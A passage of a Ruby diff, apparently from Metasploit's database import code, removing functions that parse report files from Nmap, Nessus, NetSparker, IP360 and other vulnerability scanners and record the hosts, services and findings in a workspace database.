vuln['refs'].map{|v| v.join("-")} - refs << "RETINA-#{vuln['rthid']}" if vuln['rthid'] - - vuln_info = { - :workspace => wspace, - :host => addr, - :name => vuln['name'], - :info => vuln['description'], - :refs => refs, - :task => args[:task] - } - - report_vuln(vuln_info) - end - end - - REXML::Document.parse_stream(data, parser) - end - - # - # NetSparker XML - # - - # Process a NetSparker XML file - def import_netsparker_xml_file(args={}) - filename = args[:filename] - wspace = args[:wspace] || workspace - - data = "" - ::File.open(filename, 'rb') do |f| - data = f.read(f.stat.size) - end - import_netsparker_xml(args.merge(:data => data)) - end - - # Process NetSparker XML - def import_netsparker_xml(args={}, &block) - data = args[:data] - wspace = args[:wspace] || workspace - bl = validate_ips(args[:blacklist]) ? args[:blacklist].split : [] - addr = nil - parser = Rex::Parser::NetSparkerXMLStreamParser.new - parser.on_found_vuln = Proc.new do |vuln| - data = {:workspace => wspace} - - # Parse the URL - url = vuln['url'] - return if not url - - # Crack the URL into a URI - uri = URI(url) rescue nil - return if not uri - - # Resolve the host and cache the IP - if not addr - baddr = Rex::Socket.addr_aton(uri.host) rescue nil - if baddr - addr = Rex::Socket.addr_ntoa(baddr) - yield(:address, addr) if block - end - end - - # Bail early if we have no IP address - if not addr - raise Interrupt, "Not a valid IP address" - end - - if bl.include?(addr) - raise Interrupt, "IP address is on the blacklist" - end - - data[:host] = addr - data[:vhost] = uri.host - data[:port] = uri.port - data[:ssl] = (uri.scheme == "ssl") - - body = nil - # First report a web page - if vuln['response'] - headers = {} - code = 200 - head,body = vuln['response'].to_s.split(/\r?\n\r?\n/, 2) - if body - - if head =~ /^HTTP\d+\.\d+\s+(\d+)\s*/ - code = $1.to_i - end - - headers = {} - head.split(/\r?\n/).each do |line| - hname,hval = line.strip.split(/\s*:\s*/, 2) - next if hval.to_s.strip.empty? - headers[hname.downcase] ||= [] - headers[hname.downcase] << hval - end - - info = { - :path => uri.path, - :query => uri.query, - :code => code, - :body => body, - :headers => headers, - :task => args[:task] - } - info.merge!(data) - - if headers['content-type'] - info[:ctype] = headers['content-type'][0] - end - - if headers['set-cookie'] - info[:cookie] = headers['set-cookie'].join("\n") - end - - if headers['authorization'] - info[:auth] = headers['authorization'].join("\n") - end - - if headers['location'] - info[:location] = headers['location'][0] - end - - if headers['last-modified'] - info[:mtime] = headers['last-modified'][0] - end - - # Report the web page to the database - report_web_page(info) - - yield(:web_page, url) if block - end - end # End web_page reporting - - - details = netsparker_vulnerability_map(vuln) - - method = netsparker_method_map(vuln) - pname = netsparker_pname_map(vuln) - params = netsparker_params_map(vuln) - - proof = '' - - if vuln['info'] and vuln['info'].length > 0 - proof << vuln['info'].map{|x| "#{x[0]}: #{x[1]}\n" }.join + "\n" - end - - if proof.empty? - if body - proof << body + "\n" - else - proof << vuln['response'].to_s + "\n" - end - end - - if params.empty? and pname - params = [[pname, vuln['vparam_name'].to_s]] - end - - info = { - # XXX: There is a :request attr in the model, but report_web_vuln - # doesn't seem to know about it, so this gets ignored. - #:request => vuln['request'], - :path => uri.path, - :query => uri.query, - :method => method, - :params => params, - :pname => pname.to_s, - :proof => proof, - :risk => details[:risk], - :name => details[:name], - :blame => details[:blame], - :category => details[:category], - :description => details[:description], - :confidence => details[:confidence], - :task => args[:task] - } - info.merge!(data) - - next if vuln['type'].to_s.empty? - - report_web_vuln(info) - yield(:web_vuln, url) if block - end - - # We throw interrupts in our parser when the job is hopeless - begin - REXML::Document.parse_stream(data, parser) - rescue ::Interrupt => e - wlog("The netsparker_xml_import() job was interrupted: #{e}") - end - end - - def netsparker_method_map(vuln) - case vuln['vparam_type'] - when "FullQueryString" - "GET" - when "Querystring" - "GET" - when "Post" - "POST" - when "RawUrlInjection" - "GET" - else - "GET" - end - end - - def netsparker_pname_map(vuln) - case vuln['vparam_name'] - when "URI-BASED", "Query Based" - "PATH" - else - vuln['vparam_name'] - end - end - - def netsparker_params_map(vuln) - [] - end - - def netsparker_vulnerability_map(vuln) - res = { - :risk => 1, - :name => 'Information Disclosure', - :blame => 'System Administrator', - :category => 'info', - :description => "This is an information leak", - :confidence => 100 - } - - # Risk is a value from 1-5 indicating the severity of the issue - # Examples: 1, 4, 5 - - # Name is a descriptive name for this vulnerability. - # Examples: XSS, ReflectiveXSS, PersistentXSS - - # Blame indicates who is at fault for the vulnerability - # Examples: App Developer, Server Developer, System Administrator - - # Category indicates the general class of vulnerability - # Examples: info, xss, sql, rfi, lfi, cmd - - # Description is a textual summary of the vulnerability - # Examples: "A reflective cross-site scripting attack" - # "The web server leaks the internal IP address" - # "The cookie is not set to HTTP-only" - - # - # Confidence is a value from 1 to 100 indicating how confident the - # software is that the results are valid. - # Examples: 100, 90, 75, 15, 10, 0 - - case vuln['type'].to_s - when "ApacheDirectoryListing" - res = { - :risk => 1, - :name => 'Directory Listing', - :blame => 'System Administrator', - :category => 'info', - :description => "", - :confidence => 100 - } - when "ApacheMultiViewsEnabled" - res = { - :risk => 1, - :name => 'Apache MultiViews Enabled', - :blame => 'System Administrator', - :category => 'info', - :description => "", - :confidence => 100 - } - when "ApacheVersion" - res = { - :risk => 1, - :name => 'Web Server Version', - :blame => 'System Administrator', - :category => 'info', - :description => "", - :confidence => 100 - } - when "PHPVersion" - res = { - :risk => 1, - :name => 'PHP Module Version', - :blame => 'System Administrator', - :category => 'info', - :description => "", - :confidence => 100 - } - when "AutoCompleteEnabled" - res = { - :risk => 1, - :name => 'Form AutoComplete Enabled', - :blame => 'App Developer', - :category => 'info', - :description => "", - :confidence => 100 - } - when "CookieNotMarkedAsHttpOnly" - res = { - :risk => 1, - :name => 'Cookie Not HttpOnly', - :blame => 'App Developer', - :category => 'info', - :description => "", - :confidence => 100 - } - when "EmailDisclosure" - res = { - :risk => 1, - :name => 'Email Address Disclosure', - :blame => 'App Developer', - :category => 'info', - :description => "", - :confidence => 100 - } - when "ForbiddenResource" - res = { - :risk => 1, - :name => 'Forbidden Resource', - :blame => 'App Developer', - :category => 'info', - :description => "", - :confidence => 100 - } - when "FileUploadFound" - res = { - :risk => 1, - :name => 'File Upload Form', - :blame => 'App Developer', - :category => 'info', - :description => "", - :confidence => 100 - } - when "PasswordOverHTTP" - res = { - :risk => 2, - :name => 'Password Over HTTP', - :blame => 'App Developer', - :category => 'info', - :description => "", - :confidence => 100 - } - when "MySQL5Identified" - res = { - :risk => 1, - :name => 'MySQL 5 Identified', - :blame => 'App Developer', - :category => 'info', - :description => "", - :confidence => 100 - } - when "PossibleInternalWindowsPathLeakage" - res = { - :risk => 1, - :name => 'Path Leakage - Windows', - :blame => 'App Developer', - :category => 'info', - :description => "", - :confidence => 100 - } - when "PossibleInternalUnixPathLeakage" - res = { - :risk => 1, - :name => 'Path Leakage - Unix', - :blame => 'App Developer', - :category => 'info', - :description => "", - :confidence => 100 - } - when "PossibleXSS", "LowPossibilityPermanentXSS", "XSS", "PermanentXSS" - conf = 100 - conf = 25 if vuln['type'].to_s == "LowPossibilityPermanentXSS" - conf = 50 if vuln['type'].to_s == "PossibleXSS" - res = { - :risk => 3, - :name => 'Cross-Site Scripting', - :blame => 'App Developer', - :category => 'xss', - :description => "", - :confidence => conf - } - - when "ConfirmedBlindSQLInjection", "ConfirmedSQLInjection", "HighlyPossibleSqlInjection", "DatabaseErrorMessages" - conf = 100 - conf = 90 if vuln['type'].to_s == "HighlyPossibleSqlInjection" - conf = 25 if vuln['type'].to_s == "DatabaseErrorMessages" - res = { - :risk => 5, - :name => 'SQL Injection', - :blame => 'App Developer', - :category => 'sql', - :description => "", - :confidence => conf - } - else - conf = 100 - res = { - :risk => 1, - :name => vuln['type'].to_s, - :blame => 'App Developer', - :category => 'info', - :description => "", - :confidence => conf - } - end - - res - end - - def import_fusionvm_xml(args={}) - args[:wspace] ||= workspace - bl = validate_ips(args[:blacklist]) ? args[:blacklist].split : [] - doc = Rex::Parser::FusionVMDocument.new(args,self) - parser = ::Nokogiri::XML::SAX::Parser.new(doc) - parser.parse(args[:data]) - end - - - # - # Import Nmap's -oX xml output - # - def import_nmap_xml_file(args={}) - filename = args[:filename] - wspace = args[:wspace] || workspace - - data = "" - ::File.open(filename, 'rb') do |f| - data = f.read(f.stat.size) - end - import_nmap_xml(args.merge(:data => data)) - end - - def import_nexpose_raw_noko_stream(args, &block) - if block - doc = Rex::Parser::NexposeRawDocument.new(args,framework.db) {|type, data| yield type,data } - else - doc = Rex::Parser::NexposeRawDocument.new(args,self) - end - parser = ::Nokogiri::XML::SAX::Parser.new(doc) - parser.parse(args[:data]) - end - - def import_nexpose_noko_stream(args, &block) - if block - doc = Rex::Parser::NexposeSimpleDocument.new(args,framework.db) {|type, data| yield type,data } - else - doc = Rex::Parser::NexposeSimpleDocument.new(args,self) - end - parser = ::Nokogiri::XML::SAX::Parser.new(doc) - parser.parse(args[:data]) - end - - def import_nmap_noko_stream(args, &block) - if block - doc = Rex::Parser::NmapDocument.new(args,framework.db) {|type, data| yield type,data } - else - doc = Rex::Parser::NmapDocument.new(args,self) - end - parser = ::Nokogiri::XML::SAX::Parser.new(doc) - parser.parse(args[:data]) - end - - # If you have Nokogiri installed, you'll be shunted over to - # that. Otherwise, you'll hit the old NmapXMLStreamParser. - def import_nmap_xml(args={}, &block) - return nil if args[:data].nil? or args[:data].empty? - wspace = args[:wspace] || workspace - bl = validate_ips(args[:blacklist]) ? args[:blacklist].split : [] - - if Rex::Parser.nokogiri_loaded - noko_args = args.dup - noko_args[:blacklist] = bl - noko_args[:wspace] = wspace - if block - yield(:parser, "Nokogiri v#{::Nokogiri::VERSION}") - import_nmap_noko_stream(noko_args) {|type, data| yield type,data } - else - import_nmap_noko_stream(noko_args) - end - return true - end - - # XXX: Legacy nmap xml parser starts here. - - fix_services = args[:fix_services] - data = args[:data] - - # Use a stream parser instead of a tree parser so we can deal with - # huge results files without running out of memory. - parser = Rex::Parser::NmapXMLStreamParser.new - yield(:parser, parser.class.name) if block - - # Whenever the parser pulls a host out of the nmap results, store - # it, along with any associated services, in the database. - parser.on_found_host = Proc.new { |h| - hobj = nil - data = {:workspace => wspace} - if (h["addrs"].has_key?("ipv4")) - addr = h["addrs"]["ipv4"] - elsif (h["addrs"].has_key?("ipv6")) - addr = h["addrs"]["ipv6"] - else - # Can't report it if it doesn't have an IP - raise RuntimeError, "At least one IPv4 or IPv6 address is required" - end - next if bl.include? addr - data[:host] = addr - if (h["addrs"].has_key?("mac")) - data[:mac] = h["addrs"]["mac"] - end - data[:state] = (h["status"] == "up") ? Msf::HostState::Alive : Msf::HostState::Dead - data[:task] = args[:task] - - if ( h["reverse_dns"] ) - data[:name] = h["reverse_dns"] - end - - # Only report alive hosts with ports to speak of. - if(data[:state] != Msf::HostState::Dead) - if h["ports"].size > 0 - if fix_services - port_states = h["ports"].map {|p| p["state"]}.reject {|p| p == "filtered"} - next if port_states.compact.empty? - end - yield(:address,data[:host]) if block - hobj = report_host(data) - report_import_note(wspace,hobj) - end - end - - if( h["os_vendor"] ) - note = { - :workspace => wspace, - :host => hobj || addr, - :type => 'host.os.nmap_fingerprint', - :task => args[:task], - :data => { - :os_vendor => h["os_vendor"], - :os_family => h["os_family"], - :os_version => h["os_version"], - :os_accuracy => h["os_accuracy"] - } - } - - if(h["os_match"]) - note[:data][:os_match] = h['os_match'] - end - - report_note(note) - end - - if (h["last_boot"]) - report_note( - :workspace => wspace, - :host => hobj || addr, - :type => 'host.last_boot', - :task => args[:task], - :data => { - :time => h["last_boot"] - } - ) - end - - if (h["trace"]) - hops = [] - h["trace"]["hops"].each do |hop| - hops << { - "ttl" => hop["ttl"].to_i, - "address" => hop["ipaddr"].to_s, - "rtt" => hop["rtt"].to_f, - "name" => hop["host"].to_s - } - end - report_note( - :workspace => wspace, - :host => hobj || addr, - :type => 'host.nmap.traceroute', - :task => args[:task], - :data => { - 'port' => h["trace"]["port"].to_i, - 'proto' => h["trace"]["proto"].to_s, - 'hops' => hops - } - ) - end - - - # Put all the ports, regardless of state, into the db. - h["ports"].each { |p| - # Localhost port results are pretty unreliable -- if it's - # unknown, it's no good (possibly Windows-only) - if ( - p["state"] == "unknown" && - h["status_reason"] == "localhost-response" - ) - next - end - extra = "" - extra << p["product"] + " " if p["product"] - extra << p["version"] + " " if p["version"] - extra << p["extrainfo"] + " " if p["extrainfo"] - - data = {} - data[:workspace] = wspace - if fix_services - data[:proto] = nmap_msf_service_map(p["protocol"]) - else - data[:proto] = p["protocol"].downcase - end - data[:port] = p["portid"].to_i - data[:state] = p["state"] - data[:host] = hobj || addr - data[:info] = extra if not extra.empty? - data[:task] = args[:task] - if p["name"] != "unknown" - data[:name] = p["name"] - end - report_service(data) - } - #Parse the scripts output - if h["scripts"] - h["scripts"].each do |key,val| - if key == "smb-check-vulns" - if val =~ /MS08-067: VULNERABLE/ - vuln_info = { - :workspace => wspace, - :task => args[:task], - :host => hobj || addr, - :port => 445, - :proto => 'tcp', - :name => 'MS08-067', - :info => 'Microsoft Windows Server Service Crafted RPC Request Handling Unspecified Remote Code Execution', - :refs =>['CVE-2008-4250', - 'BID-31874', - 'OSVDB-49243', - 'CWE-94', - 'MSFT-MS08-067', - 'MSF-Microsoft Server Service Relative Path Stack Corruption', - 'NSS-34476'] - } - report_vuln(vuln_info) - end - if val =~ /MS06-025: VULNERABLE/ - vuln_info = { - :workspace => wspace, - :task => args[:task], - :host => hobj || addr, - :port => 445, - :proto => 'tcp', - :name => 'MS06-025', - :info => 'Vulnerability in Routing and Remote Access Could Allow Remote Code Execution', - :refs =>['CVE-2006-2370', - 'CVE-2006-2371', - 'BID-18325', - 'BID-18358', - 'BID-18424', - 'OSVDB-26436', - 'OSVDB-26437', - 'MSFT-MS06-025', - 'MSF-Microsoft RRAS Service RASMAN Registry Overflow', - 'NSS-21689'] - } - report_vuln(vuln_info) - end - # This one has NOT been Tested , remove this comment if confirmed working - if val =~ /MS07-029: VULNERABLE/ - vuln_info = { - :workspace => wspace, - :task => args[:task], - :host => hobj || addr, - :port => 445, - :proto => 'tcp', - :name => 'MS07-029', - :info => 'Vulnerability in Windows DNS RPC Interface Could Allow Remote Code Execution', - # Add more refs based on nessus/nexpose .. results - :refs =>['CVE-2007-1748', - 'OSVDB-34100', - 'MSF-Microsoft DNS RPC Service extractQuotedChar()', - 'NSS-25168'] - } - report_vuln(vuln_info) - end - end - end - end - } - - # XXX: Legacy nmap xml parser ends here. - - REXML::Document.parse_stream(data, parser) - end - - def nmap_msf_service_map(proto) - service_name_map(proto) - end - - # - # This method normalizes an incoming service name to one of the - # the standard ones recognized by metasploit - # - def service_name_map(proto) - return proto unless proto.kind_of? String - case proto.downcase - when "msrpc", "nfs-or-iis", "dce endpoint resolution" - "dcerpc" - when "ms-sql-s", "tds" - "mssql" - when "ms-sql-m","microsoft sql monitor" - "mssql-m" - when "postgresql"; "postgres" - when "http-proxy"; "http" - when "iiimsf"; "db2" - when "oracle-tns"; "oracle" - when "quickbooksrds"; "metasploit" - when "microsoft remote display protocol" - "rdp" - when "vmware authentication daemon" - "vmauthd" - when "netbios-ns", "cifs name service" - "netbios" - when "netbios-ssn", "microsoft-ds", "cifs" - "smb" - when "remote shell" - "shell" - when "remote login" - "login" - when "nfs lockd" - "lockd" - when "hp jetdirect" - "jetdirect" - when "dhcp server" - "dhcp" - when /^dns-(udp|tcp)$/; "dns" - when /^dce[\s+]rpc$/; "dcerpc" - else - proto.downcase.gsub(/\s*\(.*/, '') # "service (some service)" - end - end - - def report_import_note(wspace,addr) - if @import_filedata.kind_of?(Hash) && @import_filedata[:filename] && @import_filedata[:filename] !~ /msfe-nmap[0-9]{8}/ - report_note( - :workspace => wspace, - :host => addr, - :type => 'host.imported', - :data => @import_filedata.merge(:time=> Time.now.utc) - ) - end - end - - # - # Import Nessus NBE files - # - def import_nessus_nbe_file(args={}) - filename = args[:filename] - wspace = args[:wspace] || workspace - - data = "" - ::File.open(filename, 'rb') do |f| - data = f.read(f.stat.size) - end - import_nessus_nbe(args.merge(:data => data)) - end - - # There is no place the NBE actually stores the plugin name used to - # scan. You get "Security Note" or "Security Warning," and that's it. - def import_nessus_nbe(args={}, &block) - nbe_data = args[:data] - wspace = args[:wspace] || workspace - bl = validate_ips(args[:blacklist]) ? args[:blacklist].split : [] - - nbe_copy = nbe_data.dup - # First pass, just to build the address map. - addr_map = {} - - # Cache host objects before passing into handle_nessus() - hobj_map = {} - - nbe_copy.each_line do |line| - r = line.split('|') - next if r[0] != 'results' - next if r[4] != "12053" - data = r[6] - addr,hname = data.match(/([0-9\x2e]+) resolves as (.+)\x2e\\n/n)[1,2] - addr_map[hname] = addr - end - - nbe_data.each_line do |line| - r = line.split('|') - next if r[0] != 'results' - hname = r[2] - if addr_map[hname] - addr = addr_map[hname] - else - addr = hname # Must be unresolved, probably an IP address. - end - port = r[3] - nasl = r[4] - type = r[5] - data = r[6] - - # If there's no resolution, or if it's malformed, skip it. - next unless ipv46_validator(addr) - - if bl.include? addr - next - else - yield(:address,addr) if block - end - - hobj_map[ addr ] ||= report_host(:host => addr, :workspace => wspace, :task => args[:task]) - - # Match the NBE types with the XML severity ratings - case type - # log messages don't actually have any data, they are just - # complaints about not being able to perform this or that test - # because such-and-such was missing - when "Log Message"; next - when "Security Hole"; severity = 3 - when "Security Warning"; severity = 2 - when "Security Note"; severity = 1 - # a severity 0 means there's no extra data, it's just an open port - else; severity = 0 - end - if nasl == "11936" - os = data.match(/The remote host is running (.*)\\n/)[1] - report_note( - :workspace => wspace, - :task => args[:task], - :host => hobj_map[ addr ], - :type => 'host.os.nessus_fingerprint', - :data => { - :os => os.to_s.strip - } - ) - end - - next if nasl.to_s.strip.empty? - plugin_name = nil # NBE doesn't ever populate this - handle_nessus(wspace, hobj_map[ addr ], port, nasl, plugin_name, severity, data) - end - end - - # - # Of course they had to change the nessus format. - # - def import_openvas_xml(args={}, &block) - filename = args[:filename] - wspace = args[:wspace] || workspace - - raise DBImportError.new("No OpenVAS XML support. Please submit a patch to msfdev[at]metasploit.com") - end - - # - # Import IP360 XML v3 output - # - def import_ip360_xml_file(args={}) - filename = args[:filename] - wspace = args[:wspace] || workspace - - data = "" - ::File.open(filename, 'rb') do |f| - data = f.read(f.stat.size) - end - import_ip360_xml_v3(args.merge(:data => data)) - end - - # - # Import Nessus XML v1 and v2 output - # - # Old versions of openvas exported this as well - # - def import_nessus_xml_file(args={}) - filename = args[:filename] - wspace = args[:wspace] || workspace - - data = "" - ::File.open(filename, 'rb') do |f| - data = f.read(f.stat.size) - end - - if data.index("NessusClientData_v2") - import_nessus_xml_v2(args.merge(:data => data)) - else - import_nessus_xml(args.merge(:data => data)) - end - end - - def import_nessus_xml(args={}, &block) - data = args[:data] - wspace = args[:wspace] || workspace - bl = validate_ips(args[:blacklist]) ? args[:blacklist].split : [] - - doc = rexmlify(data) - doc.elements.each('/NessusClientData/Report/ReportHost') do |host| - hobj = nil - addr = nil - hname = nil - os = nil - # If the name is resolved, the Nessus plugin for DNS - # resolution should be there. If not, fall back to the - # HostName - host.elements.each('ReportItem') do |item| - next unless item.elements['pluginID'].text == "12053" - addr = item.elements['data'].text.match(/([0-9\x2e]+) resolves as/n)[1] - hname = host.elements['HostName'].text - end - addr ||= host.elements['HostName'].text - next unless ipv46_validator(addr) # Skip resolved names and SCAN-ERROR. - if bl.include? addr - next - else - yield(:address,addr) if block - end - - hinfo = { - :workspace => wspace, - :host => addr, - :task => args[:task] - } - - # Record the hostname - hinfo.merge!(:name => hname.to_s.strip) if hname - hobj = report_host(hinfo) - report_import_note(wspace,hobj) - - # Record the OS - os ||= host.elements["os_name"] - if os - report_note( - :workspace => wspace, - :task => args[:task], - :host => hobj, - :type => 'host.os.nessus_fingerprint', - :data => { - :os => os.text.to_s.strip - } - ) - end - - host.elements.each('ReportItem') do |item| - nasl = item.elements['pluginID'].text - plugin_name = item.elements['pluginName'].text - port = item.elements['port'].text - data = item.elements['data'].text - severity = item.elements['severity'].text - - handle_nessus(wspace, hobj, port, nasl, plugin_name, severity, data, args[:task]) - end - end - end - - def import_nessus_xml_v2(args={}, &block) - data = args[:data] - wspace = args[:wspace] || workspace - bl = validate_ips(args[:blacklist]) ? args[:blacklist].split : [] - - #@host = { - #'hname' => nil, - #'addr' => nil, - #'mac' => nil, - #'os' => nil, - #'ports' => [ 'port' => { 'port' => nil, - # 'svc_name' => nil, - # 'proto' => nil, - # 'severity' => nil, - # 'nasl' => nil, - # 'description' => nil, - # 'cve' => [], - # 'bid' => [], - # 'xref' => [] - # } - # ] - #} - parser = Rex::Parser::NessusXMLStreamParser.new - parser.on_found_host = Proc.new { |host| - - hobj = nil - addr = host['addr'] || host['hname'] - - next unless ipv46_validator(addr) # Catches SCAN-ERROR, among others. - - if bl.include? addr - next - else - yield(:address,addr) if block - end - - os = host['os'] - hname = host['hname'] - mac = host['mac'] - - host_info = { - :workspace => wspace, - :host => addr, - :task => args[:task] - } - host_info[:name] = hname.to_s.strip if hname - # Short mac, protect against Nessus's habit of saving multiple macs - # We can't use them anyway, so take just the first. - host_info[:mac] = mac.to_s.strip.upcase.split(/\s+/).first if mac - - hobj = report_host(host_info) - report_import_note(wspace,hobj) - - os = host['os'] - yield(:os,os) if block - if os - report_note( - :workspace => wspace, - :task => args[:task], - :host => hobj, - :type => 'host.os.nessus_fingerprint', - :data => { - :os => os.to_s.strip - } - ) - end - - host['ports'].each do |item| - next if item['port'] == 0 - msf = nil - nasl = item['nasl'].to_s - nasl_name = item['nasl_name'].to_s - port = item['port'].to_s - proto = item['proto'] || "tcp" - sname = item['svc_name'] - severity = item['severity'] - description = item['description'] - cve = item['cve'] - bid = item['bid'] - xref = item['xref'] - msf = item['msf'] - - yield(:port,port) if block - - handle_nessus_v2(wspace, hobj, port, proto, sname, nasl, nasl_name, severity, description, cve, bid, xref, msf, args[:task]) - - end - yield(:end,hname) if block - } - - REXML::Document.parse_stream(data, parser) - - end - - def import_mbsa_xml(args={}, &block) - bl = validate_ips(args[:blacklist]) ? args[:blacklist].split : [] - wspace = args[:wspace] || workspace - if Rex::Parser.nokogiri_loaded - parser = "Nokogiri v#{::Nokogiri::VERSION}" - noko_args = args.dup - noko_args[:blacklist] = bl - noko_args[:wspace] = wspace - if block - yield(:parser, parser) - import_mbsa_noko_stream(noko_args) {|type, data| yield type,data} - else - import_mbsa_noko_stream(noko_args) - end - return true - else # Sorry - raise DBImportError.new("Could not import due to missing Nokogiri parser. Try 'gem install nokogiri'.") - end - end - - def import_mbsa_noko_stream(args={},&block) - if block - doc = Rex::Parser::MbsaDocument.new(args,framework.db) {|type, data| yield type,data } - else - doc = Rex::Parser::MbsaDocument.new(args,self) - end - parser = ::Nokogiri::XML::SAX::Parser.new(doc) - parser.parse(args[:data]) - end - - def import_foundstone_xml(args={}, &block) - bl = validate_ips(args[:blacklist]) ? args[:blacklist].split : [] - wspace = args[:wspace] || workspace - if Rex::Parser.nokogiri_loaded - parser = "Nokogiri v#{::Nokogiri::VERSION}" - noko_args = args.dup - noko_args[:blacklist] = bl - noko_args[:wspace] = wspace - if block - yield(:parser, parser) - import_foundstone_noko_stream(noko_args) {|type, data| yield type,data} - else - import_foundstone_noko_stream(noko_args) - end - return true - else # Sorry - raise DBImportError.new("Could not import due to missing Nokogiri parser. Try 'gem install nokogiri'.") - end - end - - def import_foundstone_noko_stream(args={},&block) - if block - doc = Rex::Parser::FoundstoneDocument.new(args,framework.db) {|type, data| yield type,data } - else - doc = Rex::Parser::FoundstoneDocument.new(args,self) - end - parser = ::Nokogiri::XML::SAX::Parser.new(doc) - parser.parse(args[:data]) - end - - def import_acunetix_xml(args={}, &block) - bl = validate_ips(args[:blacklist]) ? args[:blacklist].split : [] - wspace = args[:wspace] || workspace - if Rex::Parser.nokogiri_loaded - parser = "Nokogiri v#{::Nokogiri::VERSION}" - noko_args = args.dup - noko_args[:blacklist] = bl - noko_args[:wspace] = wspace - if block - yield(:parser, parser) - import_acunetix_noko_stream(noko_args) {|type, data| yield type,data} - else - import_acunetix_noko_stream(noko_args) - end - return true - else # Sorry - raise DBImportError.new("Could not import due to missing Nokogiri parser. Try 'gem install nokogiri'.") - end - end - - def import_ci_xml(args={}, &block) - bl = validate_ips(args[:blacklist]) ? args[:blacklist].split : [] - wspace = args[:wspace] || workspace - if Rex::Parser.nokogiri_loaded - parser = "Nokogiri v#{::Nokogiri::VERSION}" - noko_args = args.dup - noko_args[:blacklist] = bl - noko_args[:wspace] = wspace - if block - yield(:parser, parser) - import_ci_noko_stream(noko_args) {|type, data| yield type,data} - else - import_ci_noko_stream(noko_args) - end - return true - else # Sorry - raise DBImportError.new("Could not import due to missing Nokogiri parser. Try 'gem install nokogiri'.") - end - end - - def import_acunetix_noko_stream(args={},&block) - if block - doc = Rex::Parser::AcunetixDocument.new(args,framework.db) {|type, data| yield type,data } - else - doc = Rex::Parser::AcunetixFoundstoneDocument.new(args,self) - end - parser = ::Nokogiri::XML::SAX::Parser.new(doc) - parser.parse(args[:data]) - end - - - def import_appscan_xml(args={}, &block) - bl = validate_ips(args[:blacklist]) ? args[:blacklist].split : [] - wspace = args[:wspace] || workspace - if Rex::Parser.nokogiri_loaded - parser = "Nokogiri v#{::Nokogiri::VERSION}" - noko_args = args.dup - noko_args[:blacklist] = bl - noko_args[:wspace] = wspace - if block - yield(:parser, parser) - import_appscan_noko_stream(noko_args) {|type, data| yield type,data} - else - import_appscan_noko_stream(noko_args) - end - return true - else # Sorry - raise DBImportError.new("Could not import due to missing Nokogiri parser. Try 'gem install nokogiri'.") - end - end - - def import_appscan_noko_stream(args={},&block) - if block - doc = Rex::Parser::AppscanDocument.new(args,framework.db) {|type, data| yield type,data } - else - doc = Rex::Parser::AppscanDocument.new(args,self) - end - parser = ::Nokogiri::XML::SAX::Parser.new(doc) - parser.parse(args[:data]) - end - - def import_burp_session_xml(args={}, &block) - bl = validate_ips(args[:blacklist]) ? args[:blacklist].split : [] - wspace = args[:wspace] || workspace - if Rex::Parser.nokogiri_loaded - # Rex::Parser.reload("burp_session_nokogiri.rb") - parser = "Nokogiri v#{::Nokogiri::VERSION}" - noko_args = args.dup - noko_args[:blacklist] = bl - noko_args[:wspace] = wspace - if block - yield(:parser, parser) - import_burp_session_noko_stream(noko_args) {|type, data| yield type,data} - else - import_burp_session_noko_stream(noko_args) - end - return true - else # Sorry - raise DBImportError.new("Could not import due to missing Nokogiri parser. Try 'gem install nokogiri'.") - end - end - - def import_burp_session_noko_stream(args={},&block) - if block - doc = Rex::Parser::BurpSessionDocument.new(args,framework.db) {|type, data| yield type,data } - else - doc = Rex::Parser::BurpSessionDocument.new(args,self) - end - parser = ::Nokogiri::XML::SAX::Parser.new(doc) - parser.parse(args[:data]) - end - - - # - # Import IP360's ASPL database - # - def import_ip360_aspl_xml(args={}, &block) - data = args[:data] - wspace = args[:wspace] || workspace - bl = validate_ips(args[:blacklist]) ? args[:blacklist].split : [] - - if not data.index("<ontology") - raise DBImportError.new("The ASPL file does not appear to be valid or may still be compressed") - end - - base = ::File.join(Msf::Config.config_directory, "data", "ncircle") - ::FileUtils.mkdir_p(base) - ::File.open(::File.join(base, "ip360.aspl"), "wb") do |fd| - fd.write(data) - end - yield(:notice, "Saved the IP360 ASPL database to #{base}...") - end - - - # - # Import IP360's xml output - # - def import_ip360_xml_v3(args={}, &block) - data = args[:data] - wspace = args[:wspace] || workspace - bl = validate_ips(args[:blacklist]) ? args[:blacklist].split : [] - - # @aspl = {'vulns' => {'name' => { }, 'cve' => { }, 'bid' => { } } - # 'oses' => {'name' } } - - aspl_path = nil - aspl_paths = [ - ::File.join(Msf::Config.config_directory, "data", "ncircle", "ip360.aspl"), - ::File.join(Msf::Config.data_directory, "ncircle", "ip360.aspl") - ] - - aspl_paths.each do |tpath| - next if not (::File.exist?(tpath) and ::File.readable?(tpath)) - aspl_path = tpath - break - end - - if not aspl_path - raise DBImportError.new("The nCircle IP360 ASPL file is not present.\n Download ASPL from nCircle VNE | Administer | Support | Resources, unzip it, and import it first") - end - - # parse nCircle ASPL file - aspl = "" - ::File.open(aspl_path, "rb") do |f| - aspl = f.read(f.stat.size) - end - - @asplhash = nil - parser = Rex::Parser::IP360ASPLXMLStreamParser.new - parser.on_found_aspl = Proc.new { |asplh| - @asplhash = asplh - } - REXML::Document.parse_stream(aspl, parser) - - # nCircle has some quotes escaped which causes the parser to break - # we don't need these lines so just replace \" with " - data.gsub!(/\\"/,'"') - - # parse nCircle Scan Output - parser = Rex::Parser::IP360XMLStreamParser.new - parser.on_found_host = Proc.new { |host| - hobj = nil - addr = host['addr'] || host['hname'] - - next unless ipv46_validator(addr) # Catches SCAN-ERROR, among others. - - if bl.include? addr - next - else - yield(:address,addr) if block - end - - os = host['os'] - hname = host['hname'] - mac = host['mac'] - - host_hash = { - :workspace => wspace, - :host => addr, - :task => args[:task] - } - host_hash[:name] = hname.to_s.strip if hname - host_hash[:mac] = mac.to_s.strip.upcase if mac - - hobj = report_host(host_hash) - - yield(:os, os) if block - if os - report_note( - :workspace => wspace, - :task => args[:task], - :host => hobj, - :type => 'host.os.ip360_fingerprint', - :data => { - :os => @asplhash['oses'][os].to_s.strip - } - ) - end - - host['apps'].each do |item| - port = item['port'].to_s - proto = item['proto'].to_s - - handle_ip360_v3_svc(wspace, hobj, port, proto, hname, args[:task]) - end - - - host['vulns'].each do |item| - vulnid = item['vulnid'].to_s - port = item['port'].to_s - proto = item['proto'] || "tcp" - vulnname = @asplhash['vulns']['name'][vulnid] - cves = @asplhash['vulns']['cve'][vulnid] - bids = @asplhash['vulns']['bid'][vulnid] - - yield(:port, port) if block - - handle_ip360_v3_vuln(wspace, hobj, port, proto, hname, vulnid, vulnname, cves, bids, args[:task]) - - end - - yield(:end, hname) if block - } - - REXML::Document.parse_stream(data, parser) - end - - def 